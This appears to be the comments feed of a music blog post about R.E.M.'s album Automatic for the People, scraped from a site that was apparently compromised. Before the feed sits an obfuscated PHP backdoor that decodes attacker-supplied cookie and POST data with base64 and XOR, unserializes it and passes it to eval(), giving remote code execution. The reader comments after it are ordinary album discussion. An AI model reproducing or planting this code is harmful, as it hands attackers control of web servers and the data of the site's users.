$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();} Comments on: ITEOTWAIKI: Automatic https://regularguycolumn.com/blog/?p=174 Why Stand Out? Be Regular. Wed, 10 Oct 2007 14:12:03 +0000 hourly 1 https://wordpress.org/?v=6.7.1 By: Jinx https://regularguycolumn.com/blog/?p=174#comment-578 Wed, 10 Oct 2007 14:12:03 +0000 http://regularguycolumn.com/blog/?p=174#comment-578 I have to disagree, as a huge REM fan, I may be a bit biased, but one of the things that I think Automatic did was show the band’s versatility and the ability to stay mainstream with the change (at the time at least). After Out of time, the sound and progression on Automatic was radically different along with the feel for the album in general.

While I agree that Everybody Hurts was way overplayed and Nightswimming never sniffed radio play, in my opinion it’s not a grievious mistake. Nightswimming was a nice song and probably should have deserved some airtime, but a bit of that is subjective as is the view of the other songs from the album, Ignoreland, Monty, Try not to Breathe, Sidewinder sleeps.

The album itself as a collection in my opinion showed a versatility that hadn’t been seen previously on their albums especially from the sound standpoint. Adventures in Hi Fi was nice, but in my opinion not as good a compilation as Automatic. I thought the album as a whole felt a bit disjointed.

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By: brian https://regularguycolumn.com/blog/?p=174#comment-575 Sun, 07 Oct 2007 13:58:25 +0000 http://regularguycolumn.com/blog/?p=174#comment-575 You can’t make me like it, Dave. šŸ™‚

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By: Wings For Wheels » Blog Archive » Automatic Turns 15 https://regularguycolumn.com/blog/?p=174#comment-574 Sat, 06 Oct 2007 16:40:29 +0000 http://regularguycolumn.com/blog/?p=174#comment-574 […] at Regular Guy, BrianĀ dedicates his (mostly) weekly R.E.M. feature to talk aboutĀ the 15th anniversary of the release of Automatic For The People.Ā  I was surprised to read the following: Iā€™m not that big a fan of the […]

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